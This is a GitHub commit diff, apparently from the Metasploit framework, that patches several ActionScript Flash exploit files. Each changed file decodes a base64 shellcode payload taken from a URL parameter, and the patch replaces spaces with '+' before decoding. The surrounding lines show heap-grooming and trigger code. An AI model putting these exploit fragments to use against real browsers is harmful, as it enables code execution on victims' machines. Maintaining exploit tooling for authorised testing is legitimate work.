File tree Expand file tree Collapse file tree 14 files changed +31
-18
lines changed
lib/msf/core/exploit/http Expand file tree Collapse file tree 14 files changed +31
-18
lines changed Original file line number Diff line number Diff line change @@ -27,7 +27,10 @@ package
27
27
public function Main ()
28
28
{
29
29
var b64: Base64Decoder = new Base64Decoder ()
30
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
30
+ var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
31
+ var pattern: RegExp = / / g ;
32
+ b64_payload = b64_payload. replace (pattern, "+" )
33
+ b64. decode (b64_payload)
31
34
var payload: String = b64. toByteArray (). toString ()
32
35
33
36
for (i = 0 ; i < bv. length ; i++ ) {
Original file line number Diff line number Diff line change @@ -32,9 +32,11 @@ package
32
32
var i: uint = 0
33
33
var j: uint = 0
34
34
35
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
36
- payload = b64. toByteArray (). toString ();
37
-
35
+ var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
36
+ var pattern: RegExp = / / g ;
37
+ b64_payload = b64_payload. replace (pattern, "+" )
38
+ b64. decode (b64_payload)
39
+ payload = b64. toByteArray (). toString ()
38
40
for (i = 0 ; i < defrag. length ; i++ ) {
39
41
defrag[ i] = new ByteArray ()
40
42
defrag[ i] . length = BYTE_ARRAY_SIZE
Original file line number Diff line number Diff line change @@ -42,8 +42,11 @@ package
42
42
this . object_vector_length = 5770 * 2
43
43
this . byte_array_vector_length = 510 * 2
44
44
45
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
46
- payload = b64. toByteArray (). toString ();
45
+ var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
46
+ var pattern: RegExp = / / g ;
47
+ b64_payload = b64_payload. replace (pattern, "+" )
48
+ b64. decode (b64_payload)
49
+ payload = b64. toByteArray (). toString ()
47
50
48
51
this . initialize_worker_and_ba()
49
52
if (! this . trigger ())
Original file line number Diff line number Diff line change @@ -39,7 +39,10 @@ public class Main extends Sprite
39
39
40
40
private function mainThread ():void
41
41
{
42
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
42
+ var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
43
+ var pattern: RegExp = / / g ;
44
+ b64_payload = b64_payload. replace (pattern, "+" )
45
+ b64. decode (b64_payload)
43
46
payload = b64. toByteArray (). toString ()
44
47
45
48
ba. length = 0x1000
@@ -204,4 +207,4 @@ public class Main extends Sprite
204
207
return addr + i
205
208
}
206
209
}
207
- }
210
+ }
Original file line number Diff line number Diff line change @@ -43,7 +43,10 @@ package
43
43
44
44
private function mainThread ():void
45
45
{
46
- b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
46
+ var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
47
+ var pattern: RegExp = / / g ;
48
+ b64_payload = b64_payload. replace (pattern, "+" )
49
+ b64. decode (b64_payload)
47
50
payload = b64. toByteArray (). toString ()
48
51
ba. length = 0x1000
49
52
ba. shareable = true
You can’t perform that action at this time.
0 commit comments